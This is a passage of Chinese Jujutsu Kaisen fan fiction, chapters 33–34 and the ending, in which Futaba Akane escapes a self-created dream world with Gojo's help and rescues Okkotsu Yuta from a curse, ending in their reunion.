“我不想死,我想活着,想回到现实世界里,可是我也不想让忧太死掉。” 她的鼻子哽咽了一下:“我不想要没有忧太的世界。” 五条悟歪了歪头,似乎有些困惑。 他停顿了一下,问:“茜,你没有想过,你自己可以解除这个世界吗?” “解除这个世界?”双叶茜茫然地重复着这个词,手指无意识地攥紧了衣角,“可这个世界不是我主动创造的” 五条悟不知从哪摸出一颗水果糖,慢条斯理地拆开糖纸:“就像做梦的人很难意识到自己在做梦一样。” 他将糖果抛进嘴里,声音含含糊糊的:“但既然是梦,总有醒来的方法。” “这个世界就像是一个生得领域,虽然你是在被动的状态下创造出的这个世界,但你既然是这个世界的主人,就一定能解除这个世界,所以最重要的问题并不是这个,而是——” 五条悟特意在此停顿,竖起食指:“当回到现实世界之后,茜,忧太要怎么办呢?” “如果你所说的都是真的,那么很明显,忧太的过去已经被他自己亲自杀死了,那么当你们回到现实世界里,忧太就也会跟着消失。” “到那个时候,你要怎么办?” 双叶茜明显愣住,过了一会,才颤抖着声音问:“所以…就算我解除这个世界,现实里也不会再有忧太了?” 五条悟又坐回到沙发上,指尖轻敲着铁架床的栏杆,发出规律的嗒嗒声,拖长语调道:“不是哦~” “既然茜具备能创造出这个世界的能力,为什么不具备重返过去的能力,把忧太的过去再次拯救回来呢?” 地下室的白炽灯忽然剧烈闪烁着,墙角的纸箱也开始不自然地抖动着。 似乎有人来了。 “哎呀,看来忧太找到这里了。”五条悟站起身,漫不经心地拍了拍外套上的灰尘,向双叶茜伸出手,问,“要试试看吗?” 还没等双叶茜回答,地下室的铁门便被从外轰碎,带起一阵烟尘。 乙骨忧太的身影在烟雾中显现了出来。 他浑身上下都缠绕着黑色的咒力,面色阴沉到不像话,视线直接对准屋内的女人,喊道:“茜。” 五条悟一把拎起双叶茜的衣领:“不过那些都是后话,还是先逃跑再说吧。” 乙骨忧太拔出太刀往前攻击,他似乎并未想直接伤害到五条悟,只是想夺回双叶茜。 但这也给了五条悟更多逃跑的机会。 他眨眨眼睛,一个侧身,便轻松将乙骨忧太和自己的位置调换,转身往出口跑去。 乙骨忧太“啧”了一声,毫不犹疑地跟了上去。 现在这三个人呈现出一种很是诡异的状态。 五条悟提着双叶茜的衣领在天空中漂浮着,不断落到高高的楼顶之上,又借力再次跳起。 乙骨忧太则在他们身后紧追不舍。 只能说还好这个世界是双叶茜创造出来的世界,而不是真实的世界。 不然他们三个明天铁定要上新闻了。 “好了——” “反正忧太现在也追不上我们,那身为老师的我就先开始教学啦。” “教学时间到——!!” 这三人里,五条悟表现得最为惬意。 他似乎根本没受到身后人的影响,一边在楼顶上来回跳跃,一边道。 “双叶同学,首先,你要有一个清晰的认知,认识到这个世界其实就是由你创造出来的。” “比如那边那栋楼——” 五条悟指着不远处的商业大厦:“你现在试着把它想象成那里是一个菜市场怎么样?” 哈? 这突如其来的要求让双叶茜有点摸不着头脑。 但她还是乖乖听了五条悟的话,闭上双眼,开始在脑海中设想。 菜市场——菜市场—— 卖菜的菜市场—— “喂,大妈,这个菜多少钱?” “哎哟,便宜点怎么样?” “这个价不行不行。” 双叶茜的脑海中浮现出菜市场的吆喝声,紧接着,她猛一睁眼,便见那栋商业大厦竟当真变成了一个菜市场。 里面甚至还有几个人在吆喝着卖菜。 “新鲜的菜哦~” “新鲜的水果哦——” 而紧接着,她在脑海中幻想出来的事情竟当真发生在了那个菜市场里。 只见一个中年人正向那吆喝着卖菜的妇女走去,问道。 ——“喂,大妈,这个菜多少钱?” 双叶茜骤然睁大双眼。 五条悟的声音在她耳畔响起:“怎么样?我都说了这个世界是由你自己创造出来的吧。” “即使是被动的,也是由你自己创造的哦。” 他用愉悦的声音又道:“那么——” “接下来,请尝试着让我身后这个紧追不舍的乙骨君消失吧~” “不然一直就这么追着我们,可不利于我继续上课哦。” 第33章 双叶茜怔了一下, 下意识地回头望去。 乙骨忧太紧紧跟她和五条悟的后方,穷追不舍。 “但是…”她犹豫又转过头,看向五条悟。 “没有但是哦, 双叶同学。”五条悟的声音带着不容置疑的轻快, “这只是个虚假的世界而已,并不会真的伤害到他哦。“ 他拎着双叶茜,轻盈地落在一座电视塔的顶端,又道:“试着去做做看,就当是为了能真正地救乙骨同学吧。” 双叶茜咬了咬牙, 又回头深深看了一眼身后不顾一切追逐着她的身影, 然后紧紧闭上了眼睛。 ——消失吧, 忧太。 就暂时消失一下。 她在心中无声地祈愿。 没有任何惊天动地的声响, 就像被橡皮擦轻轻抹去般,身后那令人窒息的压迫感,以及乙骨忧太的存在本身, 就这样悄然消失了。 周围只剩下风声在呼呼作响。 双叶茜再次睁开眼往回看,果不其然便见身后空无一人。 整个世界仿佛都安静了下来。 “成~功~”五条悟拍了拍手,“看, 很简单吧?那么, 接下来,试着让我也消失。” “什么?”双叶茜有些愕然,“那我还怎么跟您学习解除这个世界?” 五条悟低头看着她, 嘴角扬起一个了然又带着戏谑的笑, 反问道:“你不是已经学会了吗?” 轻飘飘的一句话, 却如同惊雷般在双叶茜脑海中炸响。 她猛地反应过来,当她能仅凭一个念头便让追逐的乙骨忧太消失时,就已然领悟了该怎么解除这个空间。 看着双叶茜恍然大悟的表情, 五条悟满意地笑了。 他张开双臂,做出一个毫无防备的姿态。 “来吧,双叶同学,让碍事的老师我也消失吧~然后去做你该做的事。” 五条悟的身影在月光下显得有些不真实,仿佛从一开始就只是一个只为了引导她的幻影。 双叶茜深吸一口气,不再犹豫。 她集中精神,将目光锁定在五条悟身上。 ——谢谢您,五条老师。 请您也消失吧。 五条悟的身影开始变得透明,随即化作点点微光,消散在夜风中。 现在,高高的电视塔顶上只剩下双叶茜一人。 她低头俯瞰着脚下这个由她而生的世界。 街道、灯光、人,甚至远处传来的声响,此刻在她感知中都变成了可以随意涂抹修改的东西。 她不再需要任何人的指引。 双叶茜上眼睛,将所有的意念集中。 她不再去想具体要解除什么,只有一个念头。 这一切该结束了。 很快,整个世界便开始无声地崩解。 高楼大厦化为流淌的色彩,街道融化成模糊的光带,夜空与星辰扭曲旋转,最终变为一片纯白。 她的意识彻底从这个虚假的世界中抽离出来。 * 刺骨的寒意顺着潮湿的泥土渗入骨髓 双叶茜猛地睁开眼。 剧烈的头痛让她眼前一阵发黑,她缓了一会,才觉得好受一点。 双叶茜这才发觉自己正仰面躺在冰冷的山谷地,身下是湿漉漉的土壤。 一辆扭曲变形的轿车撞在她身旁不远处的树干上,车窗玻璃碎成了尽碎,驾驶座的安全带上还沾着暗褐色的血迹。 乙骨忧太和那个特级咒灵都不在这里。 她挣扎着坐起身,却发现四肢软得不听使唤,只能又躺了一会,觉得力气上来了许多,这才用颤抖的手撑起了上半身,又站了起来,她蹒跚着爬上山上的公路。 几个穿着西服的人站在公路的栏杆旁,见到双叶茜,身子僵在原地,眼睛都瞪圆了。 双叶茜认识他们,这些人都是她的同事,也都是辅助监督。 “双、双叶小姐?!这不可能吧…” 一位年长的女性辅助监督震惊着说道:“您…您不是已经…” 她欲言又止,死死盯着双叶茜,像是在看一个从坟墓里爬出来的幽灵。 双叶茜没意识到那位辅助监督未尽的话语中到底是何意,向前一边迈步一边问:“你们知道忧太在哪里吗?” 但那些人却随着她的动作不约而同地后退了。 最先反应过来的那个辅助监督忽然拿出手机:“双叶小姐,请站在原地,我们先向总部那边——” 她的话语却被打断。 不远处传来了汽车疾驰过来的声音。 那汽车在双叶茜面前停下,车窗被里面坐着的人缓缓摇了下来。 紧接着,一个熟悉的面孔出现了。 “哎呀呀——” “看来我来的正是时候呢?” 五条悟从驾驶座探出头,标志性的银发在阳光下格外醒目。 他单手扶着方向盘,另一只手随意地搭在车窗上,墨镜滑至鼻尖,露出那双苍蓝色的眼眸。 五条悟推开车门,长腿一迈便来到双叶茜面前,转身对辅助监督们挥了挥手:“这边就交给我了,先不用汇报给总部。” 其他人迟疑地互相望了一眼,便不再把注意力放在双叶茜身上,投入了工作中。 虽然不确保他们是否会听五条悟的话,不向总部报告此事,但至少这些人并不敢当面和五条悟对峙,把双叶茜送回总部。 五条悟又拉开后座车门,对双叶茜做了个请的手势。 “上车吧。”他先一步坐上车,又道,“让我们先来整理一下你不在的这段时间里,发生的事情吧。” 双叶茜点点头,也跟着上了车,并关上了车门。 外界嘈杂的声音被彻底隔绝,五条悟发动汽车,单手打着方向盘,道:“首先,恭喜我们的双叶同学生还。” “虽然对上面那些烂橘子来说,你这属于诈尸,可能会把他们吓一跳呢。” 双叶茜攥紧膝盖上的布料,听他说话。 “三天前,窗的人赶到时,只看到了事故现场有被撞毁的车,和驾驶车坐上的血迹,但找不到你的人。” 五条悟从后视镜里瞥了他一眼:“因此,你被高层的烂橘子们确认了死亡。” 他顿了顿,拐过一个急弯:“忧太当天就像疯了一样冲到这里,想找到你,但却再无音讯。” 车子缓缓停在红灯前,五条悟转过头,注视着双叶茜:“所以现在的情况很有趣,被宣告死亡的人回来了,而去救人的那个现在却不知所踪。” “双叶同学,你有什么头绪吗?” 双叶茜猛地抬头,咬了咬下唇,犹豫道:“我可能知道他在哪里。” “忧太可能代替了我,留在了那个咒灵所创造的世界里。” 五条悟挑了挑眉:“哦?” 双叶茜简单地同五条悟诉说了一下她这段时间发生的事情,又同他讲述了他在自己所创造的世界里同自己讲的话。 听完这些后,五条悟却突兀地笑了一声。 他饶有兴致地看着双叶茜:“双叶同学,你好像觉醒了一个不得了的术士呢。” 五条悟的手指在方向盘上轻轻敲击了两下:“看来那只好巧不巧撞上你的特级咒灵,反而成促进了你的觉醒,你在阴差阳错之下吞噬了那个特级咒灵的能力呢。” “不过这样倒是说得通了。”他又打了个响指,“你的意识为了保护自己,不仅创造了那个领域,还把忧太也卷了进去,而现在——” 他将车停在路边:“既然你能吞噬那个咒灵的能力,就说明你也是他所创造的那个世界的主人。” “要找到它,就像找到自己的手指一样简单呢。” 双叶茜茫然地摇了摇头:“可是我现在完全感受不到那个世界的存在。” “当然感受不到。”五条悟不知从哪摸出一颗糖,慢条斯理地剥开糖纸,“因为你太专注于用眼睛去找了。” 他将糖果抛进嘴里,又慢悠悠道:“试着闭上眼睛,用你的头脑去感知,回想起你在那个世界里最后的感觉。” “当你让忧太消失时和让那整个世界崩溃时的感觉。” 双叶茜点了点头闭上眼,努力感受当时的感觉。 忽然,她感觉到胸口一阵灼热。 她低头看去,发现衣襟下正透出淡淡的金色光芒。 那是乙骨忧太曾在她生日时送的吊坠,后来她就一直带在身上了。 “看来找到了能跟忧太链接上的钥匙了呢。”五条悟满意地靠回驾驶座,“现在,试着与这个钥匙进行链接,然后通过它找到忧太在哪里吧?” 双叶茜紧紧握住发烫的吊坠,集中了全部精神。 车厢内的空气开始波动,车窗外的景色也像水中的倒影般扭曲起来。 她紧闭着双眼,终于捕捉到了一丝熟悉的气息。 * 黑暗。 无边无际的黑暗。 乙骨忧太躺在一片漆黑的空间里,睁眼闭眼都是黑暗,伸手也不见无知。 他身旁的特级咒灵,发出低沉的笑声,扭曲的身影在黑暗中若隐若现,不断蛊惑他。 “多么可悲啊,乙骨忧太。” “你为了救她,甘愿被困在这个永恒的牢笼中,可她却抛弃了你,回到现实世界中。” 乙骨忧太闭上眼睛,懒得听它废话。 “把身体交给我吧。” “让我带你离开这里,你不是最害怕被她忘记吗?只要得到我的力量,你就能永远留在她身边。” 伴随着它的话语,逼真的幻象拼命得挤入了乙骨忧太的脑海中。 ——双叶茜在阳光下对着另一个男人微笑,那双曾经只注视着他的眼睛里盛满了陌生人的倒影。 “看啊,这就是你牺牲自己换来的结局。” 咒灵的声音带着恶毒的快意:“她很快就会爱上别人,在你用生命为她争取的世界里幸福地生活着。” 乙骨忧太咂舌一声,只吐了一个字:“滚。” 那咒灵没得到想要的结果,发出尖锐的叫声,几乎快要刺破人的脑皮。 紧接着,它又继续不断蛊惑着。 “乙骨忧太——” “你真的想就这样被她忘掉吗?”《 》 【正文完】 第34章 咒灵的尖啸在黑暗中不断响起, 乙骨忧太却始终都不予理会,只是闭着眼睛。 忽然,他感到有冰冷黏腻的东西缠上了自己的手腕。 他猛地睁眼, 发现那些黑暗正化作实质的触须, 试图钻进他的皮肤中”何必挣扎呢?”咒灵的声音分裂成无数回响,"你心里很清楚,她永远找不到这里。” “难道你真的甘心让她爱上其他人吗?难道你真的甘心让她就此忘掉你吗?” “醒醒吧,乙骨忧太,你不甘心的。” “不如就此把你的身体交给我, 让我来替你——” 咒灵话音未落, 一道裂痕却突然撕开了黑暗。 淡金色的光芒如利刃般劈开混沌, 双叶茜的身影在光中显现。 她周身散发着与这个空间格格不入的温暖咒力, 手中的吊坠正剧烈震颤着。 “忧太!” 她的呼喊让缠绕着乙骨忧太的触须瞬间溃散。特级咒灵发出愤怒的嘶吼,黑暗凝聚成扭曲的人形: “你怎么找到这里的!” “你怎么敢——” 双叶茜毫不犹豫地向前奔去,金光在她脚下铺成道路。 她触碰到乙骨忧太, 扑到乙骨忧太的怀里,喊道:“忧太,找到你了!” “这次轮到我来带你回家!” 整个黑暗空间开始崩塌。 但那特级咒灵却依旧不死心地纠缠着。 “别做梦了!就算你把他带回去又怎样?!” “他已经亲手把自己的过去给杀死了, 就算回到现实里, 也是没有过去的人,也会消失,有什么用!” “还不如把他的身体给我, 成为我的容器, 让我来代替他活着!” 双叶茜却不理会它的疯言疯语, 紧紧抱着乙骨忧太。 后者未料到她会出现在这里,整个人都僵直住了,但却很快反应过来, 反抱住双叶茜,将她紧紧搂在怀中,在她耳边低低地问道。 “茜,你怎么会出现在这里?” 乙骨忧太的手指深深陷进双叶茜后背的衣料,仿佛要将她揉进骨血。 他声音嘶哑得厉害,又道。 “你不该来的,这里太危险了。” 双叶茜抬头望进他盈满痛楚的眼眸,伸手,用手指轻抚过乙骨忧太苍白的脸颊:“是你说的,这是我们之间的事,那我又怎么能丢下你,一个人活下去呢?” 特级咒灵在崩塌的空间中发出癫狂的大笑:“真是感人!但你们以为这样就能逃出去吗,他的过去已经被他自己亲手斩断,就像砍断大树的根系——” 双叶茜却突然踮起脚尖,在乙骨忧太唇上落下一个短暂的吻,打断咒灵的嘶吼。 她注视着乙骨忧太那双黑色的眼瞳,声音清晰而坚定:“既然如此,那我就把砍断的根系重新接起来。 乙骨忧太瞬间明白双叶茜的意图,猛地攥紧她的手腕:“不行!改变过去会引发更严重的因果反噬…" “谁说我要改变过去?"双叶茜眼中流转着金色的光芒,“我要去每一个你选择牺牲自己,杀死自己的前的时刻,告诉你还有别的路可走。" 她将额头抵上他的前额,金色的光芒将两人完全包裹:“就像你曾经为我做的那样,这次换我来告诉你,我们还有彼此都能活下去的未来。” * 双叶茜再次睁开眼。 此刻的她正站在咒术高专的体育场上,乙骨忧太刚刚挥出太刀,刀锋即将刺入十五岁的自己的心脏。 “住手!” 阿伊雅娜急忙冲上前,握住乙骨忧太握刀的手腕。 刀锋在距离少年胸膛极近的地方停了下来,年长的乙骨忧太指节泛白,那双总是盛满阴郁的眼睛里掀起惊涛骇浪。 而年少的那位则完全怔住,目光在突然出现的双叶茜和另一个自己之间来回移动。 “茜,你怎么会在这里?”两个乙骨忧太同时出声问道。 他们的声线重合在一起,年长的带着点沙哑,年少的声音清亮,却带着同样的震惊与无措。 双叶茜没有松开握着年长忧太手腕的手,反而握得更紧。 她的指尖因用力而发白,目光却坚定地望着年长的那个乙骨忧太。 “我找到了,”她声音带着因消耗太多咒力的微喘,另一只手轻轻抬起,抚去少年脸上还未干涸的血迹,“不需要你一次次杀死自己,让我们两个人都能活下去的方法。” 少年的身形微微一颤,眼神茫然,不明白双叶茜仔说什么。 年长的乙骨忧太却猛地摇头,声音压抑着痛苦。 “你不明白…茜…” “这是唯一的办法。” “这才不是唯一的办法!”双叶茜打断他,从衣服下拿出吊坠,那吊坠正散发着强烈的金光,光芒如同有生命的丝线,连接着眼前的两个忧太。 “我也可以掌控时间,我可以拯救我自己,也可以拯救你!” 这时,少年看了看痛苦的自己,又看向目光坚定的双叶茜,轻声开口,问出了一个关键的问题:“未来的我…是为了保护茜,才不得不这样做,不得不杀死过去的自己吗?是因为…我会伤害她吗?” 乙骨忧太的身体猛地一僵。 双叶茜却同时握住了两个乙骨忧太的手,她看着他们,眼中像是落入了星辰。 “不会。”她的声音清晰地回荡在体育场上,“因为从现在起,每一个时间点的乙骨忧太,都会知道乙骨忧太不是一个人,我们会有别的路一起走。” 突然,她身上爆发出足够吞没一切的光芒,将三个人的身影紧紧包裹。 不知过了多久,那光芒缓缓退去,只留下了少年一个人。 他愣愣地站在原地,总觉得自己似乎忘记了什么,却怎么也想不起来,站在原地许久。 这时,远方跑来一个少女。 “忧太!” 少女用那双亮晶晶的眼睛注视着少年,眼中盛满了无尽的爱意,问道:“今天的训练还没有结束嘛?我们一起去吃晚饭吧!” 乙骨忧太一时没反应过来,少女又拽住他的手腕,同他撒娇。 “走嘛走嘛~” “今天我吃完晚饭后,还想吃点甜点,你给我买好不好嘛~” 乙骨忧太终于露出了笑容,应道:“嗯。” 这是第一次。 第二次、第三次、第四次、第五次、第… 乙骨忧太曾多少次回到过去,亲手杀死自己,双叶茜就回到过去拯救过他多少次。 两人拯救者的身份对调了过来,之前是乙骨忧太拯救她,这次这是她拯救乙骨忧太。 只是目的导向却不同。 乙骨忧太是为了让双叶茜活着,而她则是为了让乙骨忧太和她一起活下去。 没有乙骨忧太的未来,是不完美的未来。 没有乙骨忧太的未来,是不会幸福的未来。 无论重复多少次,她都会选择和乙骨忧太一起活下去的未来。 所有乙骨忧太的身影开始融合,吊坠的光芒化作无数金线,将那些被斩断的过去重新连接在一起。 在消散的时空尽头,双叶茜听见来自不同年龄的、重合在一起的叹息。 “笨蛋。” “要是你受伤了怎么办?” 可她从来都不害怕受伤。 她害怕的是乙骨忧太再也不会回来,害怕的是乙骨忧太会被所有人忘记。 她害怕自己也会忘记乙骨忧太。 不知过了多久。 双叶茜终于回到了现实里。 她再次睁开眼睛,却发现自己并没有回到那片纯黑的空间中,而是回到了她与乙骨忧太的家里。 而她的身旁空无一人。 难道—— 双叶茜的心中隐隐有了个不好的猜测,一时有些绝望。 而这时,卧室外却传来一个熟悉的声音。 “茜?” “你睡醒了?” 卧室门被轻轻推开,乙骨忧太穿着宽松的居家服站在门口。 他手里还拿着沾着水珠的番茄,显然是刚从厨房出来。 “做了你喜欢的”乙骨忧太的话音戛然而止。 双叶茜怔怔地望着他,眼泪毫无预兆地滚落。 她猛然起身,颤抖着伸出手,指尖在即将触碰到乙骨忧太的脸颊时又怯怯地缩回。 “忧太?”她的声音带着哭腔,“是真的吗?你还活着吗?” 乙骨忧太立即握住她冰凉的手贴在自己脸上。 温热的体温透过皮肤传来,他轻轻用指腹擦去双叶茜的眼泪。 “嗯。”他的黑眸温柔地注视着她,“我回来了。” “可是可是那个咒灵” “因为你帮我找回了过去的原因,所以我的力量回来了。”乙骨忧太低头蹭了蹭她的掌心,“而它的力量又因为被你吞噬了,所以我趁机把它彻底祓除了。” 双叶茜突然扑进他怀里,紧紧抱住他。 乙骨忧太被她撞得后退半步,却稳稳接住她,听着她埋在胸口压抑的哭声。 “笨蛋”他抚摸着双叶茜的长发,“明明最该哭的人是我,要是我们两个都死掉了怎么办,一起做苦命鸳鸯吗?” 怀里的哭泣渐渐变成带着鼻音的轻笑。 双叶茜抬起哭花的脸,突然伸手捏住乙骨忧太的脸颊往两边扯。 “以后再也不准做那种事了!不准回到过去杀自己!不准一个人承担所有!” 乙骨忧太任由她揉捏自己的脸,眼底漾开清澈的笑意:“这句话我原封不动还给你,你也不许再做任何冒险的事情了。” 窗外传来早班电车的声响,餐桌上饭菜的热气正袅袅升起。 在晨光弥漫的卧室里,他们额头相抵,终于同时笑出声来- 正文完-《 》